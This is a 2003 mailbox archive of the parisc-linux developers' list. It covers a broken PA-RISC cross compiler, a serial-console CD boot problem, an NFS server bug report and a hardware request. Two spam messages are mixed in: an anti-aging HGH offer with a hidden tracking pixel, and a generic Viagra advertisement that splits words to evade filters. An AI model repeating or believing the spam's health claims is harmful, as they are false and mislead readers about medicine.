I'm pretty sure the old cross compiler is broken.
Send me your id_rsa.pub and I'll get you an account
on a a500 where you can use a hppa->hppa64 toolchain.

Someone is looking at fixing the hppa->hppa64 cross compiler
in gcc cvs. So we should get a shiny new *native*
toolset to work with. The alternative is to try building your
own cross compiler from a newer gcc out of debian.

You might also try the gcc mailing list.

hth,
grant

> 
> 
>    Thx :)
>    Ramesh Doddaiah
> 


From - Thu Nov 08 21:28:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD Boot in Graphic Mode.
Date: Mon, 21 Jul 2003 21:27:59 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20030722032759.GC20537@dsl2.external.hp.com>
References: <20030721225204.55170.qmail@web20009.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622619 28409 80.91.229.3 (22 Nov 2014 02:16:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "William J. (Bill) Van Vliet" <wjvv@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 21 21:27:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 48FB14872; Mon, 21 Jul 2003 21:27:59 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030721225204.55170.qmail@web20009.mail.yahoo.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19005

On Mon, Jul 21, 2003 at 03:52:03PM -0700, William J. (Bill) Van Vliet wrote:
> I am trying to install Debian cd's on a D-Server. The
> system does boot up and go through the boot process.
> Then it switches into graphics mode and everything
> goes down the tube. I am using a serial terminal that
> doesn't do graphics. Obviously very new at this. Any
> help would be very appreciated.


Either my routing is foobar or google.com is really down again.
try searching for "ttyB0" and "D220" (or "D200") on
	http://www.parisc-linux.org/mailing-lists/index.html

grant


From - Thu Nov 08 21:28:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: readline problem
Date: Tue, 22 Jul 2003 06:05:23 +0300
Lines: 56
Approved: news@gmane.org
Message-ID: <20030722040523.C62B949C21@mail.esiee.fr>
References: <20030722024603.GA20537@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622619 28412 80.91.229.3 (22 Nov 2014 02:16:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:59 +0000 (UTC)
Cc: Ramesh Doddaiah <ramesh.doddaiah@hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 21 22:05:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id D7929482E
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jul 2003 22:05:25 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 3E30B49C32; Tue, 22 Jul 2003 06:05:24 +0200 (CEST)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP
	id C62B949C21; Tue, 22 Jul 2003 06:05:23 +0200 (CEST)
In-Reply-To: <20030722024603.GA20537@dsl2.external.hp.com>
X-Originating-IP: [216.208.38.106]
User-Agent: IMHO/0.99 (Webmail for Roxen)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19006

-------------------
> On Mon, Jul 21, 2003 at 07:24:11PM +0530, Ramesh Doddaiah wrote:
> > Hi Grant,
> >=20
> > =20
> >    My name is Ramesh Doddaiah working in HP india in IA RAGE
Project,=20
> > naresh who is  working in PA RAGE give me your email id.
>=20
> ok
>=20
> >    I had posted this problem to
parisc-linux@lists.parisc-linux.org on
> > 16 july, i didn't get any reply.
>=20
> most of the parisc linux team has been on the road for OLS.
>=20
> >    I am using Linux/i386 -> Linux/PARISC cross compiler
> > (xc-latest.tar.gz from http://ftp.parisc-linux.org/x86-xcompilers/
),=20
> > while compiling some piece of code which uses readline and ncurses
lib
> > i get this errors
>=20
>=20
>=20
> >=20
> >
/opt/palinux/lib/gcc-lib/hppa-linux/3.0.3/../../../../hppa-linux/bin/l
d:
> > cannot find -lreadline
> > collect2: ld returned 1 exit status
> >=20
> >=20
> >    I don't have readline and curses library for this version of
compiler.
> >    I did searched a lot to get this libraries,but i didn't get
much information.
> >=20
> >    Please tell me where can i find readline and ncurses
> >    library for this version of cross compiler.
> >=20
> >    GCC Version: 3.0.3
>=20
> I'm pretty sure the old cross compiler is broken.

it is.

http://lists.parisc-linux.org/pipermail/parisc-linux/2003-July/020483.
html

Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/



From - Thu Nov 08 21:28:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CD Boot in Graphic Mode.
Date: Tue, 22 Jul 2003 06:08:09 +0300
Lines: 25
Approved: news@gmane.org
Message-ID: <20030722040810.F35B449B5C@mail.esiee.fr>
References: <20030722032759.GC20537@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622619 28413 80.91.229.3 (22 Nov 2014 02:16:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:59 +0000 (UTC)
Cc: William J.=?us-ascii?q?=28Bill=29?= Van Vliet <wjvv@yahoo.com>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 21 22:08:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5D9714878
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 Jul 2003 22:08:11 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 5179E49C32; Tue, 22 Jul 2003 06:08:10 +0200 (CEST)
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP
	id F35B449B5C; Tue, 22 Jul 2003 06:08:09 +0200 (CEST)
In-Reply-To: <20030722032759.GC20537@dsl2.external.hp.com>
X-Originating-IP: [216.208.38.106]
User-Agent: IMHO/0.99 (Webmail for Roxen)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19007

-------------------
> On Mon, Jul 21, 2003 at 03:52:03PM -0700, William J. (Bill) Van
Vliet wrote:
> > I am trying to install Debian cd's on a D-Server. The
> > system does boot up and go through the boot process.
> > Then it switches into graphics mode and everything
> > goes down the tube. I am using a serial terminal that
> > doesn't do graphics. Obviously very new at this. Any
> > help would be very appreciated.
>=20
>=20
> Either my routing is foobar or google.com is really down again.
> try searching for "ttyB0" and "D220" (or "D200") on
> 	http://www.parisc-linux.org/mailing-lists/index.html
>=20
> grant

http://pateam.esiee.fr/doc.html is a good start point for newbies as
well ;)

Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/



From - Thu Nov 08 21:28:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dr. Nathan Johnson" <Dr-Nathan-Johnson@mail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] sleep off 1bs
Date: Thu, 21 Aug 03 09:59:49 GMT
Lines: 64
Approved: news@gmane.org
Message-ID: <73t0--705u5s8$$wn6i79ileq$l@74ewcpd.hhw95>
Reply-To: "Dr. Nathan Johnson" <Dr-Nathan-Johnson@mail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="4F55_F9DCAFA7C_E_24._2_E"
X-Trace: ger.gmane.org 1416622620 28418 80.91.229.3 (22 Nov 2014 02:17:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:00 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 22 02:58:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [211.60.92.186])
	by dsl2.external.hp.com (Postfix) with SMTP id 3B4C4482D
	for <parisc-linux@parisc-linux.org>; Tue, 22 Jul 2003 02:58:48 -0600 (MDT)
Original-Received: from [27.102.43.228] by 192.25.206.7 with ESMTP id DED5005BE99; Thu, 21 Aug 2003 09:59:49 +0200
X-Mailer: MIME-tools 5.503 (Entity 5.501)
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19008

--4F55_F9DCAFA7C_E_24._2_E
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<body bgcolor=3D"#FFFFFF" text=3D"#000000">
<p align=3D"center"><font face=3D"Arial, Helvetica, sans-serif" size=3D"2"=
>As seen on 
  NBC, CBS, CNN, and even Oprah! </font> 
<p align=3D"center"><font face=3D"Arial, Helvetica, sans-serif" size=3D"2"=
>The health 
  discovery that actually reverses aging while burning fat.</font> 
<p align=3D"center"><font face=3D"Arial, Helvetica, sans-serif" size=3D"2"=
>Without dieting 
  or exercise! </font> 
<p align=3D"center"><font face=3D"Arial, Helvetica, sans-serif" size=3D"2"=
><a href=3D"http://www.healthyyoung.biz/HGH_13/"><font face=3D"Verdana, Ar=
ial, Helvetica, sans-serif"><b>Get 
  Your Free Bottle of H-G-H Now! Visit Us Here</b></font></a> </font> 
<p align=3D"center">&nbsp; 
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp; 
<p align=3D"center">&nbsp;
<p align=3D"center">&nbsp;
<div align=3D"center">
  <table width=3D"573" cellspacing=3D"0" cellpadding=3D"5"
border=3D"1"
bordercolor=3D"#000000"
style=3D"border-collapse:collapse">
    <tr>
      <td bgcolor=3D"#ffffff">
        <p><span style=3D"font-family:arial;
color:#666666;
font-size:10px;">Why was this email sent to you? At
some point you registered or 
made a purchase on a Web site with privacy policies
explaining that they may 
share your information with partners who will send you
valuable offers 
from time to time. </span></p>
        <p><span style=3D"font-family:arial;
color:#666666; font-size:10px;">If you no longer wish to be notified of th=
e latest 
          scientific breakthroughs or valuable offers, you may simply choo=
se to 
          take yourself out of the database <img src=3D"http://shouter.net=
firms.com/nfcounter?cid=3D1051991963&num_digits=3D8&font=3Dbc" width=3D1 h=
eight=3D1>permanently by <a
href=3D"http://www.healthyyoung.biz/delist.html">choosing this link</a>.</=
span></p>
      </td>
    </tr>
  </table>
</div><font color=3D"#ffffff"></font>
</body></html>

<parisc-linux@parisc-linux.org>

--4F55_F9DCAFA7C_E_24._2_E--



From - Thu Nov 08 21:28:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "" <vwgtigirl@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] vzii@esignal.com zqtrig
Date: Wed, 23 Jul 03 05:24:20 GMT
Lines: 107
Approved: news@gmane.org
Message-ID: <gd$l$0532ni45b7a5@l89pw9ook2>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="DB_63C4B.6_3_."
X-Trace: ger.gmane.org 1416622620 28421 80.91.229.3 (22 Nov 2014 02:17:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:00 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 22 16:30:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl-200-67-30-175.prodigy.net.mx (dsl-200-67-30-175.prodigy.net.mx [200.67.30.175])
	by dsl2.external.hp.com (Postfix) with SMTP id 117F2482D
	for <parisc-linux@parisc-linux.org>; Tue, 22 Jul 2003 16:30:18 -0600 (MDT)
Original-Received: from df.tzp4i5.org [47.115.148.157] by dsl-200-67-30-175.prodigy.net.mx with SMTP for <parisc-linux@parisc-linux.org>; Wed, 23 Jul 2003 05:24:20 +0600
X-Mailer: Microsoft Outlook Express 5.50.4133.2400
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19009

This is a multi-part message in MIME format.

--DB_63C4B.6_3_.
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
	<head>
		<meta http-equiv=3D"content-type" content=3D"text/html;charset=3DISO-885=
9-1">
		<title>Buy Generic Sildenafil Citrate Online (the active ingredient in V=
</title>
	</head>
	<body bgcolor=3D"#f5f5f5">
        &nbsp;
		<div align=3D"center">
			<table border=3D"0" cellpadding=3D"4" cellspacing=3D"1" width=3D"500" b=
gcolor=3D"black">
				<tr>
					<td valign=3D"bottom" bgcolor=3D"#0076b0"><font face=3D"Verdana, Aria=
l, Helvetica, sans-serif" size=3D"6" color=3D"#f8b262"><b>Generic</b></fon=
t><font face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D"6" color=3D=
"white"><b> V<font size=3D0>&nbsp;</font>i<font size=3D0>&nbsp;</font>a<fo=
nt size=3D0>&nbsp;</font>g<font size=3D0>&nbsp;</font>r<font size=3D0>&nbs=
p;</font>a</b></font><font face=3D"Verdana, Arial, Helvetica, sans-serif" =
color=3D"white" size=3D"2"><b><br>
							</b></font><font face=3D"Verdana, Arial, Helvetica, sans-serif" siz=
e=3D"2" color=3D"black"><b></b></font></td>
				</tr>
				<tr>
					<td bgcolor=3D"#cccccc">
						<div align=3D"right">
							<font face=3D"Verdana, Arial, Helvetica, sans-serif" size=3D"1" col=
or=3D"#cccccc">.</font></div>
					</td>
				</tr>
				<tr height=3D"231">
					<td height=3D"231" valign=3D"top" align=3D"left" bgcolor=3D"white">
						<div align=3D"left">
							<br>
							<b>INTRODUCTORY OFFER</b><br>
							<p>For the first time ever, a generic version of V<font size=3D0>&n=
bsp;</font>i<font size=3D0>&nbsp;</font>a<font size=3D0>&nbsp;</font>g<fon=
t size=3D0>&nbsp;</font>r<font size=3D0>&nbsp;</font>a&reg; is available t=
o you. GSC-100, the generic equivalent of V<font size=3D0>&nbsp;</font>i<f=
ont size=3D0>&nbsp;</font>a<font size=3D0>&nbsp;</font>g<font size=3D0>&nb=
sp;</font>r<font size=3D0>&nbsp;</font>a&reg;, gives you the exact perform=
ance and power as V<font size=3D0>&nbsp;</font>i<font size=3D0>&nbsp;</fon=
t>a<font size=3D0>&nbsp;</font>g<font size=3D0>&nbsp;</font>r<font size=3D=
0>&nbsp;</font>a&reg;, for <b>HALF THE COST</b>.<br>
							</p>
							<p><font color=3D"red">Act now, or risk missing out on special prom=
otional pricing -- GSC-100 is priced as low as $5.00 per 100mg tablet -- V=
<font size=3D0>&nbsp;</font>i<font size=3D0>&nbsp;</font>a<font size=3D0>&=
nbsp;</font>g<font size=3D0>&nbsp;</font>r<font size=3D0>&nbsp;</font>a&re=
g; costs $12.25 per 100mg tablet.</font></p>
							<p>The doctor consultation and shipping is&nbsp; F<font size=3D0>&n=
bsp;</font>r<font size=3D0>&nbsp;</font>e<font size=3D0>&nbsp;</font>e&nbs=
p;
                            of charge, and your GSC-100 will arrive at you=
r door quickly and discretely.  Simply visit the
                            <a href=3D"http://www.sell22s.com/host/default=
asp?ID=3D005">GSC-100 Web site</a> for more information on this revolutio=
nary new product.</p>
						</div>
						<div align=3D"left">
							<div align=3D"center">
								<p><b><font size=3D"5"><a href=3D"http://www.sell22s.com/host/defa=
ult.asp?ID=3D005">C<font size=3D0>&nbsp;</font>l<font size=3D0>&nbsp;</fon=
t>i<font size=3D0>&nbsp;</font>c<font size=3D0>&nbsp;</font>k Here to Visi=
t Our Website</a></font></b><br>
								</p>
							</div>
						</div>
					</td>
				</tr>
				<tr>
					<td bgcolor=3D"#fba501">
						<center>
							<font color=3D"white">
							
							<br>
								<br>
								
								
											
								
							100% Money Back Guarantee - The First Pharmaceutical to ever be gua=
ranteed<br>
							</font><font size=3D"1" color=3D"white"><br>
								
								
											
								
									</font></center>
					</td>
				</tr>
			</table>
		</div>
	</body>

</html>tgjn yvlrr
lase 

--DB_63C4B.6_3_.--



From - Thu Nov 08 21:28:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] nfs-kernel-server: can't use nfs ...
Date: Wed, 23 Jul 2003 15:01:24 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <3F1CEEEE000003DF@ocpmta8.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622620 28425 80.91.229.3 (22 Nov 2014 02:17:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:00 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: 201873@bugs.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 23 07:01:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C1C6482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Jul 2003 07:01:32 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 19fJDS-00080o-00; Wed, 23 Jul 2003 14:59:34 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 23 Jul 2003 15:01:24 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19010

Package: nfs-kernel-server
Version: 1.0.3-2
Severity: critical

Yes same notice on hppa unstable debian gnu/linux:
"mount: RPC: Unable to receive; errno = Connection refused"

dmesg informe me that rpc.mountd do_page_fault() at this very moment: this
explain the previous message. Is it the same on other paltform?

temporary come back to nfs-kernel-server_1.0.2-2 (date Feb 2003) help temporary
to solve this pb.

hth,
    Joel



------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alimar Technology Corp" <info@alimartech.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] VME Product
Date: Wed, 23 Jul 2003 15:51:12 -0400
Lines: 68
Approved: news@gmane.org
Message-ID: <277f01c35153$c54a4460$0500a8c0@bartman>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_277C_01C35132.3DE79E30"
X-Trace: ger.gmane.org 1416622621 28427 80.91.229.3 (22 Nov 2014 02:17:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:01 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jul 23 13:51:08 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-hub2.mrf.mail.rcn.net (smtp-hub2.mrf.mail.rcn.net [207.172.4.76])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23606482D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 23 Jul 2003 13:51:08 -0600 (MDT)
Original-Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61])
	by smtp-hub2.mrf.mail.rcn.net with esmtp (Exim 3.35 #7)
	id 19fPdd-0007TH-00
	for parisc-linux@lists.parisc-linux.org; Wed, 23 Jul 2003 15:51:01 -0400
X-Info: This message was accepted for relay by
	smtp02.mrf.mail.rcn.net as the sender used SMTP authentication
Original-X-Trace: UmFuZG9tSVZH+cbcO/OLZLV3ROwwPHEbljO92Vxh+g6WBB1LDefWtOL0ZoxW8xi2
Original-Received: from h00095b18678f.ne.client2.attbi.com ([24.34.218.2] helo=bartman)
	by smtp02.mrf.mail.rcn.net with asmtp (Exim 3.35 #4)
	id 19fPdc-0006vv-00
	for parisc-linux@lists.parisc-linux.org; Wed, 23 Jul 2003 15:51:01 -0400
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19011

This is a multi-part message in MIME format.

------=_NextPart_000_277C_01C35132.3DE79E30
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Does anyone have or know where I can find
some A4504A PMC Bridge Adaptors for the 743/744/745
series product or complete systems? If not does anyone
know of a 3rd party PMC expansion adaptor that will
work with the SBC? Thanks for any help you can offer.

steve@alimartech.com

sales@alimartech.com                       (603) 679-2990 - Phone
Alimar Technology Corp,                     (603) 679-2550 - Fax
309 State Route 125,
Brentwood, NH
03833
www.alimartech.com
------=_NextPart_000_277C_01C35132.3DE79E30
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2800.1170" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DVerdana size=3D2>Does anyone have or know where I can=20
find</FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2>some A4504A PMC Bridge Adaptors for =
the=20
743/744/745</FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2>series product or complete systems? =
If not does=20
anyone</FONT></DIV>
<DIV><FONT face=3DVerdana size=3D2>know of a 3rd party PMC expansion =
